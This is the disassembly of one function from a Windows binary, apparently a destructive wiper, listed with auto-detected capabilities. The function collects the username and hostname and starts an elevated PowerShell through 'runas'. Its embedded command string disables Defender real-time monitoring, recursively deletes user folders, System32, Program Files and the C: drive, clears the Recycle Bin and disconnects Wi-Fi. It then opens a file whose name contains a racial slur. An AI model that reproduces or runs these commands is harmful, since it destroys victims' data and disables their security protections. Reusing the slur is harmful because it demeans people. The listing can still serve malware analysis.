Function at 0x140001290
Capabilities:
Create process on windows
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x300], rax
mov dword [rbp - 0x60], 0x101
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xor ebx, ebx
test eax, eax
je 0x140001335
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x40]
call fcn.1400024c0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rbx
lea rcx, [rbp - 0x58]
call fcn.1400023e0
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140001335
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001330
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400013a6
call fcn.140002e6c
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x1400013b2
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x40]
call fcn.1400024c0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rbx
lea rcx, [rbp - 0x58]
call fcn.1400023e0
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x1400013b2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002e6c
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x20]
call fcn.1400021e0
nop
lea rcx, [rbp - 0x20]
call fcn.1400028f0
lea rcx, [rbp - 0x18]
call fcn.140002830
test rax, rax
jne 0x140001400
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov dword [rsp + 0x30], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x34], xmm0
movups xmmword [rsp + 0x44], xmm0
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
mov qword [rbp - 0x6c], rax
mov dword [rbp - 0x64], eax
lea rax, str.runas
mov qword [rsp + 0x40], rax
lea rax, str.powershell.exe
mov qword [rsp + 0x48], rax
lea rax, str._nSet_MpPreference__DisableRealtimeMonitoring__true___nRemove_Item__Path__Env:APPDATA__Force__Recurse___nRemove_Item__Path__Env:LOCALAPPDATA__Force__Recurse___nRemove_Item__Path__Env:TEMP__Force__Recurse___nRemove_Item__Path__Env:USERPROFILE__Force__Recurse___nRemove_Item__Path__Env:SYSTEMROOT__Force__Recurse___nRemove_Item__Path__Env:PROGRAMFILES__Force__Recurse___nRemove_Item__Path__Env:PROGRAMFILES_X86___Force__Recurse___nRemove_Item__Path__Env:windir__Force__Recurse___nRemove_Item__Path_C:__Force__Recurse___nRemove_Item__Path_C:WindowsSystem32__Force__Recurse___nRemove_Item__Path_C:WindowsSystem64__Force__Recurse___nRemove_Item__Path_C:Users__Force__Recurse___nRemove_Item__Path__onedrive___Force__Recurse___nRemove_Item__Path__Env:USERPROFILEDesktop__Force__Recurse___nRemove_Item__Path__Env:USERPROFILEDownloads__Force__Recurse___nClear_RecycleBin__Force___nnetsh_wlan_disconnect_n
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x60], ebx
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.Get_Fucked_Nigger.txt
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rcx, [rbp - 0x20]
call fcn.1400014c0
xor eax, eax
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.140002e10
mov rbx, qword [rsp + 0x420]
add rsp, 0x410
pop rbp
ret